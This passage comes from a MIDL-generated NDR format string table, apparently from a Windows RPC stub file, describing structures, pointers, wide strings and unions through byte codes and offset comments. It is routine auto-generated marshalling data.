*/\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 402 */\tNdrFcShort( 0xfff4 ),\t/* Offset= -12 (390) */\n/* 404 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 406 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 408 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 410 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 412 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 414 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 416 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 418 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 420 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 422 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 424 */\tNdrFcShort( 0xffde ),\t/* Offset= -34 (390) */\n/* 426 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 428 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 430 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 432 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 434 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 436 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 438 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 440 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 442 */\t\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 444 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 446 */\t0x1,\t\t/* FC_BYTE */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 448 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x0,\t\t/* 0 */\n/* 450 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 452 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 454 */\tNdrFcShort( 0xfff4 ),\t/* Offset= -12 (442) */\n/* 456 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 458 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 460 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 462 */\t0x4,\t\t/* Corr desc: FC_USMALL */\n\t\t\t0x0,\t\t/*  */\n/* 464 */\tNdrFcShort( 0xfff9 ),\t/* -7 */\n/* 466 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 468 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 470 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 474 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 478 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 480 */\t\n\t\t\t0x17,\t\t/* FC_CSTRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 482 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 484 */\tNdrFcShort( 0xffe6 ),\t/* Offset= -26 (458) */\n/* 486 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x2,\t\t/* FC_CHAR */\n/* 488 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 490 */\tNdrFcShort( 0xffd6 ),\t/* Offset= -42 (448) */\n/* 492 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 494 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x1,\t\t/* 1 */\n/* 496 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 498 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x2,\t\t/* FC_CHAR */\n/* 500 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 502 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 504 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 506 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 508 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 510 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (522) */\n/* 512 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x2,\t\t/* FC_CHAR */\n/* 514 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 516 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 518 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 520 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 522 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 524 */\tNdrFcShort( 0xffd4 ),\t/* Offset= -44 (480) */\n/* 526 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 528 */\tNdrFcShort( 0xffd0 ),\t/* Offset= -48 (480) */\n/* 530 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 532 */\tNdrFcShort( 0xffda ),\t/* Offset= -38 (494) */\n/* 534 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 536 */\tNdrFcShort( 0xffd6 ),\t/* Offset= -42 (494) */\n/* 538 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 540 */\tNdrFcShort( 0x88 ),\t/* 136 */\n/* 542 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 544 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (568) */\n/* 546 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 548 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 550 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 552 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 554 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 556 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 558 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 560 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 562 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 564 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 566 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 568 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 570 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 572 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 574 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 576 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 578 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 580 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 582 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 584 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 586 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 588 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 590 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 592 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 594 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 596 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 598 */\tNdrFcShort( 0xff36 ),\t/* Offset= -202 (396) */\n/* 600 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 602 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 604 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 606 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 608 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 610 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 612 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 614 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 616 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 618 */\tNdrFcShort( 0xff8e ),\t/* Offset= -114 (504) */\n/* 620 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 622 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (624) */\n/* 624 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 626 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 628 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 630 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (634) */\n/* 632 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 634 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 636 */\tNdrFcShort( 0xff7c ),\t/* Offset= -132 (504) */\n/* 638 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 640 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (642) */\n/* 642 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 644 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 646 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 648 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (656) */\n/* 650 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 652 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 654 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 656 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 658 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 660 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 662 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 664 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 666 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (668) */\n/* 668 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 670 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 672 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 674 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (684) */\n/* 676 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 678 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 680 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 682 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 684 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 686 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 688 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 690 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 692 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 694 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (696) */\n/* 696 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 698 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 700 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 702 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 704 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (706) */\n/* 706 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 708 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 710 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 712 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (718) */\n/* 714 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 716 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 718 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 720 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 722 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 724 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (726) */\n/* 726 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 728 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 730 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 732 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (736) */\n/* 734 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 736 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 738 */\tNdrFcShort( 0xfeaa ),\t/* Offset= -342 (396) */\n/* 740 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 742 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (744) */\n/* 744 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 746 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 748 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 750 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (754) */\n/* 752 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 754 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 756 */\tNdrFcShort( 0xfe98 ),\t/* Offset= -360 (396) */\n/* 758 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 760 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 762 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 764 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (764) */\n/* 766 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 768 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 770 */\tNdrFcShort( 0xfdc8 ),\t/* Offset= -568 (202) */\n/* 772 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 774 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 776 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (778) */\n/* 778 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 780 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 782 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 784 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (790) */\n/* 786 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 788 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 790 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 792 */\tNdrFcShort( 0xfcfa ),\t/* Offset= -774 (18) */\n/* 794 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x41,\t\t/* Ctxt flags:  in, can't be null */\n/* 796 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 798 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 800 */\tNdrFcShort( 0x12c ),\t/* Offset= 300 (1100) */\n/* 802 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 804 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 806 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 808 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 810 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 812 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 816 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 820 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (822) */\n/* 822 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 824 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 826 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 830 */\tNdrFcShort( 0x16 ),\t/* Offset= 22 (852) */\n/* 832 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 836 */\tNdrFcShort( 0x48 ),\t/* Offset= 72 (908) */\n/* 838 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 842 */\tNdrFcShort( 0x9c ),\t/* Offset= 156 (998) */\n/* 844 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 848 */\tNdrFcShort( 0xa2 ),\t/* Offset= 162 (1010) */\n/* 850 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (849) */\n/* 852 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 854 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (856) */\n/* 856 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 858 */\tNdrFcShort( 0x60 ),\t/* 96 */\n/* 860 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 862 */\tNdrFcShort( 0x16 ),\t/* Offset= 22 (884) */\n/* 864 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 866 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 868 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 870 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 872 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 874 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 876 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 878 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfdb5 ),\t/* Offset= -587 (292) */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 882 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 884 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 886 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 888 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 890 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 892 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 894 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 896 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 898 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 900 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 902 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 904 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 906 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 908 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 910 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (912) */\n/* 912 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 914 */\tNdrFcShort( 0xa0 ),\t/* 160 */\n/* 916 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 918 */\tNdrFcShort( 0x20 ),\t/* Offset= 32 (950) */\n/* 920 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 922 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 924 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 926 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 928 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 930 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 932 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 934 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 936 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 938 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 940 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 942 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfd75 ),\t/* Offset= -651 (292) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 946 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 948 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 950 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 952 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 954 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 956 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 958 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 960 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 962 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 964 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 966 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 968 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 970 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 972 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 974 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 976 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 978 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 980 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 982 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 984 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 986 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 988 */\tNdrFcShort( 0xfdb0 ),\t/* Offset= -592 (396) */\n/* 990 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 992 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 994 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 996 */\tNdrFcShort( 0xfe14 ),\t/* Offset= -492 (504) */\n/* 998 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1000 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1002) */\n/* 1002 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1004 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 1006 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1008 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1010 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1012 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1014) */\n/* 1014 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1016 */\tNdrFcShort( 0xa0 ),\t/* 160 */\n/* 1018 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1020 */\tNdrFcShort( 0x20 ),\t/* Offset= 32 (1052) */\n/* 1022 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1024 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1026 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1028 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1030 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1032 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1034 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1036 */\t0x8,\t\t/* FC_LONG 